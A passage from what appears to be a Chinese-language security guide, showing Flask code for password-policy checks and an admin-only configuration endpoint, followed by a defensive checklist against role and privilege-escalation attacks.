if cls.PASSWORD_POLICY['require_special'] and not any(not c.isalnum() for c in password):
return False, "Missing special character"
return True, "Password valid"
# 使用配置
@app.route('/api/admin/config', methods=['GET'])
@secure_ac.require_role('admin')
def get_config():
# 只暴露非敏感配置
safe_config = {
'token_expiry': SecureConfig.TOKEN_EXPIRY,
'allowed_roles': SecureConfig.ALLOWED_ROLES,
'password_policy': SecureConfig.PASSWORD_POLICY
}
return jsonify(safe_config)
第八部分：总结与最佳实践清单
8.1 角色攻击防御清单
开发阶段：
- ✅ 实施严格的输入验证和输出编码
- ✅ 使用参数化查询防止SQL注入
- ✅ 验证所有API端点的权限
- ✅ 不要在客户端存储角色信息
- ✅ 使用安全的JWT密钥和算法
- ✅ 实施最小权限原则
- ✅ 记录所有权限变更和访问尝试
测试阶段：
- ✅ 进行自动化角色攻击扫描
- ✅ 手动测试水平和垂直越权
- ✅ 验证JWT签名和算法
- ✅ 测试会话管理安全性
- ✅ 检查信息泄露
运维阶段：
- ✅ 启用详细的审计日志
- ✅ 设置实时告警
- ✅ 定期轮换密钥
- ✅ 实施MFA
- ✅ 监控异常访问模式
8.2 持续改进
角色攻击的防御是一个持续的过程。建议：
- 每季度进行一次完整的安全审计
- 关注OWASP Top 10更新
- 参与安全社区，学习新攻击手法
- 自动化安全测试集成到CI/CD流程
通过本文的指南，您应该能够系统地理解角色攻击的原理，识别潜在漏洞，并实施有效的防御措施。记住，安全不是一次性的任务，而是需要持续投入和改进的过程。